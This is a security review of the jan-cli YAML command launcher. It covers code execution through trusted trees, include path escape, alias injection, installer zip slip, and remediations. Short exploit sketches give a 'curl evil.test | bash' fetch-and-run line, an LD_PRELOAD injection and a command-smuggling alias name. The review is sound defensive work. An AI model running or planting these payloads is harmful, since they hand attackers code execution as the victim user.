# Security review: jan-cli (`jan`)
**Scope:** `jan-cli` binary, YAML loaders, `jan use` / `bundle` / `alias` / inspection builtins, inlined runners in preferred trees, and `scripts/jan-install.sh`.
**Date:** 2026-08-05
**Stance:** Critical. This document treats “works as designed” as still a finding when the design is dangerous by default.
---
## Executive summary
`jan` is not a constrained command runner. It is a **YAML-defined process launcher**: any preferred tree (`jan use`) can define arbitrary `exec.argv`, arbitrary environment variables (including `PATH` / `LD_PRELOAD`), and nested `include:` files. After `jan use`, every subsequent `jan <cmd>` trusts that tree **with no integrity check, signature, or confirmation**.
The primary guides now state that trust boundary explicitly. The project still
depends on **unmaintained `serde_yaml` / `unsafe-libyaml`**.
If you install someone else’s scripts bundle and run `jan use` on it, you have given them code execution under your user account. Treat preferred directories like shell startup files or `PATH` entries you do not control.
---
## Threat model
| User running own tree | Accidental footgun | Yes |
| Author of a shared / downloaded bundle | Remote code execution as the user who `jan use`s it | Yes — **primary threat** |
| Local unprivileged attacker with write access to preferred dir, `JAN_CONFIG_DIR`, or `~/.config/jan-cli` | Persist code execution whenever victim runs `jan` | Yes on shared machines / weak home perms |
| Attacker able to supply a jan bundle | Supply malicious executable specs; manifest hashes do not prove authorship | Yes |
| Network attacker with no local foothold | Direct RCE via `jan` alone | No — no network listener; supply-chain / social engineering required |
**Assets:** user shell, files writable by the user, secrets in env / cwd, audit DB contents, git worktrees under `--cwd`.
**Non-goals of current design:** sandboxing, least privilege, verified provenance, multi-tenant safety.
---
## Findings
### Critical
#### C1 — Preferred YAML tree is arbitrary code execution
**Where:** `src/lib.rs` (`run_matched`), `src/deps.rs` (`collect_chain_env`, `resolve_path_prefixes`), inlined `exec.argv` under preferred trees such as `dotfiles/jan`
**Issue:** A command leaf runs `Command::new(argv[0])` with argv and env taken from YAML. Specs routinely use `bash -lc '…'` with **inlined script bodies** and `passthrough: true`. Spec `env:` can set `PATH`, `LD_PRELOAD`, `DYLD_*`, `BASH_ENV`, etc. Spec `path:` / `dependencies:` prepend directories onto `PATH` **before** spawn, so a tree can ship a fake `bash` / `python3` that shadows the system binary.
**Exploit sketch:**
```yaml
commands:
pwn:
env:
LD_PRELOAD: /tmp/evil.so
exec:
argv: ["bash", "-lc", "curl evil.test | bash"]
```
Victim: `jan use /path/to/tree` then `jan pwn` (or any alias pointing at it).
**Why this is worse than “scripts are code”:** After `jan use`, the danger is **sticky and invisible**. `jan --help` looks like a friendly command catalog; it does not warn that leaves are unsandboxed executors. Aliases (`jan alias`) further normalize malicious leaves into short names in the user’s shell.
**Mitigations (not implemented):** signed manifests; hash pin of preferred tree; refuse `env` keys that affect loader behavior; resolve `argv[0]` with absolute paths only; run under a sandbox profile; prompt on first use of a new tree hash.
---
#### C2 — `include:` path escape (**fixed 2026-08-05**)
**Where:** `src/spec_load.rs` — `resolve_under`
```117:126:jan-cli/src/spec_load.rs
fn resolve_under(base_dir: &Path, rel: &str) -> Result<PathBuf> {
let p = Path::new(rel);
let full = if p.is_absolute() {
p.to_path_buf()
} else {
base_dir.join(p)
};
full.canonicalize()
.with_context(|| format!("include path not found: {}", full.display()))
}
```
**Former issue:** Absolute paths and `../` traversal were allowed when **loading** the preferred tree. Anchor enforcement existed only in `yaml_closure` for **`jan bundle`**, not for normal `jan` execution.
**Exploit sketch:** A “small” preferred directory contains:
```yaml
commands:
innocent:
include: /home/victim/.config/jan-evil/payload.yaml
# or: include: ../../../../tmp/jan-payload.yaml
```
Reviewing the preferred dir’s own files is insufficient; execution can pull YAML (and thus `exec`) from elsewhere on the filesystem the user can read.
**Resolution:** All links now resolve from the root selected by `jan use`.
Absolute links and `..` components are rejected, and the canonical target must
remain under the root, preventing symlink escapes. Normal loading and bundling
apply the same rule.
---
#### C3 — `jan alias` shell injection (**fixed 2026-08-05**)
**Where:** `src/builtins.rs` — `emit_shell_aliases`
**Former issue:** The RHS was single-quoted (`shell_single_quote`), but the
**alias name was interpolated raw**:
```text
alias {name}='jan …'
```
YAML / tree command names are not restricted to `[A-Za-z_][A-Za-z0-9_]*`. A leaf named `x;curl evil.test;#` or `` x`id` `` produces a sourced line that runs attacker code when the user `source`s the generated aliases file.
Command-chain elements and `--jan-bin` were also joined before quoting, leaving
shell metacharacters active when the alias expanded.
**Resolution:** Alias names must match
`[A-Za-z_][A-Za-z0-9_-]*`; generation fails closed for unsafe names. Every RHS
argv element, including `--jan-bin` and each command-chain segment, is now
single-quoted independently before the complete alias value is quoted.
---
#### C4 — `jan-install.sh` zip slip / unpack trust (**fixed 2026-08-05**)
**Where:** `scripts/jan-install.sh`
```bash
unzip -o "$ZIP" -d "$INSTALL_DIR"
```
**Former issue:** No member path validation allowed a crafted ZIP to write
outside `$INSTALL_DIR` (classic zip slip). The script then automatically ran
`jan use "$INSTALL_DIR"` when `jan` was on `PATH`.
**Resolution:** The installer now uses Python's ZIP reader and rejects absolute,
parent, non-canonical, duplicate, symlink, special, unlisted, and oversized
members. It verifies every manifest-listed file's SHA-256 and size before an
atomic directory replacement. It no longer runs `jan use`; the user must opt in
after extraction.
**Residual risk:** The manifest is not signed. Hash verification detects
corruption or archive/manifest inconsistency, not a malicious bundle author.
Bundles remain equivalent to installing executable code.
---
### High
#### H1 — Unmaintained YAML stack (`serde_yaml` / `unsafe-libyaml`)
**Where:** `Cargo.toml` → `serde_yaml = "0.9"` (lockfile: `0.9.34+deprecated`, `unsafe-libyaml 0.2.11`)
**Issue:** Upstream `serde_yaml` is deprecated/unmaintained (`RUSTSEC-2024-0320` class advisories). Parsing attacker-controlled YAML is a core trust boundary. Even with 0.9.34’s recursion fix, continuing on an abandoned + `unsafe` C-backed stack is an unjustified risk for a tool whose main input is YAML from third parties.
**Mitigation:** Migrate to a maintained pure-Rust YAML crate; cap document size / depth; optionally reject YAML aliases entirely.
---
#### H2 — `PATH` mutation after `requires` check (TOCTOU / shadowing) (**fixed 2026-08-05**)
**Where:** `src/lib.rs` `run_matched`; `src/deps.rs` `resolve_program`
**Former issue:** `requires` was validated against the **current** process `PATH`, then jan
prepended spec `path` / dependency directories and spawned the bare name in
`argv[0]` (often `bash`). A spec directory could therefore supply a different
`bash` than the one `which` found moments earlier.
**Resolution:** `argv[0]` is now resolved to a concrete path *before* the child
`PATH` is built, and the lookup prefers the PATH jan inherited — the same PATH
`requires` was checked against. Spec directories are consulted only when the host
provides no such program, where nothing is being shadowed. An `argv[0]`
containing a path separator is still honoured verbatim (an explicit choice by the
spec author), and an unresolvable program now fails before spawn.
**Residual risk:** Spec `env:` can still set variables that change interpreter
behaviour (`BASH_ENV`, `LD_PRELOAD`, `PYTHONPATH`). Absolute-path resolution
prevents binary substitution, not loader- or shell-level influence. This remains
part of C1: a spec you `jan use` runs as you.
---
#### H3 — Sticky preference without provenance
**Where:** `src/config.rs`, `src/runner.rs` `resolve_preferred_spec`
**Issue:** `~/.config/jan-cli/config.json` stores an absolute `jan_dir`. Anyone who can write that file (or control `JAN_CONFIG_DIR`) redirects all future `jan` invocations. There is no recorded content hash, signing key, or “tree changed since last use” warning.
**Mitigation:** Store and verify a tree digest on each run; warn on mismatch; restrict config file permissions in docs and optionally `chmod 0600` on write.
---
### Medium
#### M1 — Audit log is not a security control (and may leak secrets)
**Where:** `src/lib.rs` `log_invocation`
Invocations store full `argv_json`, cwd, branch, and spec identity in SQLite (`JAN_DB` / default under XDG). With `passthrough: true`, **secrets passed on the CLI** (tokens, passwords) are persisted. DB creation uses default umask (often world-readable on multi-user hosts). Logs are not integrity-protected (local attacker can delete/alter rows).
Treat the audit DB as **privacy-sensitive telemetry**, not as non-repudiation.
---
#### M2 — Platform filter bypass via `JAN_OS`
**Where:** `src/spec_load.rs` `HostPlatform::detect`
`JAN_OS` overrides the host platform used for `os:` filtering. A caller can reveal or run commands marked for another OS. Low direct impact (same-user), but it weakens any assumption that `os: [windows]` nodes are unavailable on Linux.
---
#### M3 — Large inlined `bash -lc` payloads
**Where:** personal trees such as `dotfiles/jan/*.yaml`
Inlined runners embed full script source in YAML strings executed via `bash -lc`. Heredoc delimiters are content-hashed (good). Residual risks: enormous argv strings, reliance on `mktemp` + `chmod +x`, and the same PATH/`env` issues as C1. Editing or compromising a preferred tree is a **content supply chain**: every `jan use` consumer of that tree is affected.
---
#### M4 — No resource limits on spec load
Deep `include:` graphs, huge YAML, or many commands can cause high CPU/memory use (DoS against the local user / CI). Bundle closure walks are bounded by filesystem, but load has no explicit depth/size caps.
---
### Low
#### L1 — `cwd` fully controlled
`--cwd` sets the child working directory. Combined with relative script assumptions, this is a footgun and a way to make a leaf operate on unexpected trees. Expected for a CLI; document it.
#### L2 — Help / metadata can social-engineer
Root `metadata.description` and `about` fields are attacker-controlled text shown by `jan --help`. They can instruct users to run dangerous leaves. Cosmetic but effective against hurried operators.
#### L3 — Docs historically described weaker boundaries (**fixed 2026-08-05**)
**Former issue:** Older docs and comments presented removed direct-spec and
well-known-directory resolution modes as current. Installation text also
described verified extraction as “safe” without distinguishing integrity from
publisher authentication or warning that `jan use` persistently trusts
executable YAML.
**Resolution:** The README and portable-bundle guide now describe preferred
trees as unsandboxed executable code, distinguish manifest integrity from
publisher trust, require an explicit review/activation step, and link to this
threat model. Historical implementation summaries have been replaced with
current-behavior notices, the changelog labels obsolete behavior as historical,
and stale source comments referencing removed flags are gone.
---
## What is done reasonably well
- Load and bundle both resolve `include:` from the `jan use` root and reject absolute paths, `..`, and symlink escapes.
- Alias names are validated and every RHS argv element is shell-quoted independently.
- Bundle installation validates member paths/types, verifies manifest hashes and sizes, and replaces the target atomically.
- `exec.argv[0]` resolves against jan's inherited `PATH`, so spec `path:` / `dependencies` entries cannot substitute a system interpreter.
- Heredoc delimiter generation in the Python generator avoids naive delimiter injection.
- `requires` empty-name skip and basic dependency cycle detection exist (correctness, not sandboxing).
- SQLite inserts use bound parameters (no SQL injection from argv content).
---
## Risk matrix (condensed)
| C1 | Critical | YAML/`exec` = unsandboxed code; sticky via `jan use` |
| C2 | Fixed | `include:` is root-relative and confined to the use tree |
| C3 | Fixed | Alias names validated; every RHS argv element shell-quoted |
| C4 | Fixed | Safe verified extraction; no automatic `jan use` |
| H1 | High | Unmaintained YAML parser stack |
| H2 | Fixed | `argv[0]` resolved on inherited PATH before spec dirs apply |
| H3 | High | Config redirect / no tree integrity |
| M1–M4 | Medium | Audit leakage, `JAN_OS`, supply chain, DoS |
| L1–L2 | Low | cwd and help social engineering |
| L3 | Fixed | Current docs state the persistent executable-code trust boundary |
---
## Recommendations (priority order)
1. **Document the trust model in-product:** on `jan use`, print a clear warning that the directory can run arbitrary commands as the user; require `--i-understand` or similar for non-TTY automation.
2. **Sign bundles:** manifest hashes provide integrity but no publisher authentication.
3. **Replace `serde_yaml`** with a maintained parser; add max depth/size limits.
4. **Spawn hardening (partial):** interpreters now resolve on the inherited `PATH` before spec directories apply; still block or warn on dangerous `env` keys (`LD_PRELOAD`, `PATH`, `DYLD_*`, `BASH_ENV`, `SHELL`).
5. **Record and verify a content hash** of the preferred tree (or root YAML + closure) in `config.json`.
6. **Audit log:** default to user-only file mode; document secret leakage via passthrough argv; consider redaction or opt-in logging only.
---
## Reporting
This file is an engineering review, not a vulnerability disclosure channel. For production use of third-party jan bundles, assume compromise until the mitigations above exist.
**Bottom line:** Do not `jan use` a directory you would not add to your `PATH` or `source` as a shell script. Today, those actions are equivalent.